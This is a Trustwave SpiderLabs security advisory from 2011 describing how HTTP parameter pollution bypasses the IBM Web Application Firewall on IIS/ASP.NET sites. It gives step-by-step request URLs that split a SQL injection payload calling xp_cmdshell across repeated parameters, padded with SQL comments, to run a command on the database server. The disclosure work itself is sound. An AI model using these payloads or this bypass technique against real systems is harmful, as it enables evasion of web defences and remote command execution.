IBM Web Application Firewall – Bypass
Trustwave's SpiderLabs Security Advisory TWSL2011-006: IBM Web Application Firewall Bypass https://www.trustwave.com/spiderlabs/advisories/TWSL2011-006.txt Published: 2011-06-21 Version: 1.0 Vendor: IBM Product: IBM Web Application Firewall These capabilities are included through SiteProtector 7.0 and later software within IBM Security Network IPS GX products, IBM Security Server Protection products, and IBM Security Multi-Function product lines during 2H of 2009. Versions affected: Tested against G400 IPS-G400-IB-1 (Intrusion Prevention Update: 2011-03-11 00:34:23 - version: 31.030) and GX4004 IPS-GX4004-IB-2 (Intrusion Prevention Update: 2011-03-10 23:49:15 - version: 31.030). Product description: IBM Web Application Firewall capabilities inside IBM IPS products complement IBM Security's portfolio of web application security offerings to deliver end-to-end Web application security solutions. Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs Finding: IBM Web Application Firewall Bypass The IBM Web Application Firewall can be evaded, allowing an attacker to exploit web vulnerabilities that the product intends to protect. The issue occurs when an attacker submits repeated occurrences of the same parameter. The example shown below uses the following environment: A web environment using Microsoft IIS, ASP .NET technology, Microsoft SQL Server 2000, being protected by the IBM Web Application Firewall. As expected, the following request will be identified and blocked (depending of configuration) by the IBM Web application firewall. http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell "ping 10.1.1.3" -- IIS with ASP.NET (and even pure ASP) technology will concatenate the contents of a parameter if multiple entries are part of the request. http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell &iid= "ping 10.1.1.3" -- IIS with ASP.NET (and even pure ASP) technology will concatenate both entries of iid parameter, however it will include an comma "," between them, resulting in the following output being sent to the database. '; EXEC master..xp_cmdshell , "ping 10.1.1.3" -- The request above will be identified and blocked (depending of configuration) by IBM Web application firewall, because it appears that "EXEC" and "xp_cmdshell" trigger an attack pattern. However, it is possible to split all the spaces in multiple parameters. For example: http://sitename/find_ta_def.aspx?id=2571&iid='; &iid= EXEC &iid= master..xp_cmdshell &iid= "ping 10.1.1.3" &iid= -- The above request will bypass the affected IBM Web application firewall, resulting in the following output being sent to the database. '; , EXEC , master..xp_cmdshell , "ping 10.1.1.3" , -- However, the above SQL code will not be properly executed because of the comma inserted on the SQL query, to solve this situation we will use SQL comments. http://sitename/find_ta_def.aspx?id=2571&iid='; /*&iid=1*/ EXEC /*&iid=1*/ master..xp_cmdshell /*&iid=1*/ "ping 10.1.1.3" /*&iid=1*/ -- The above request will bypass IBM Web application firewall, resulting in the following output being sent to the database, which is a valid and working SQL code. '; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ "ping 10.1.1.3" /*,1*/ -- The above code will execute the ping command on the Microsoft Windows backend, assuming the application was running with administrative privileges. This attack class is also referenced sometimes as HTTP Pollution Attack, HTTP Parameter Pollution (HPP) and HTTP Parameter Concatenation. The exploitability of this issue depends of the infrastructure (WebServer, Development Framework Technology, etc) technology being used. Remediation Steps: IBM has released fixes to the above issue in the "Super Tuesday" patch released in June. Refer to the references section of the advisory for further information released by IBM. Revision History: 04/07/11 - Vulnerability disclosed 06/16/11 - Patch released 06/21/11 - Advisory published References: 1. http://www.iss.net/security_center/reference/vuln/HTTP_Parameter_Abuse.htm 2. http://xforce.iss.net/xforce/xfdb/67178 About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave's SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. 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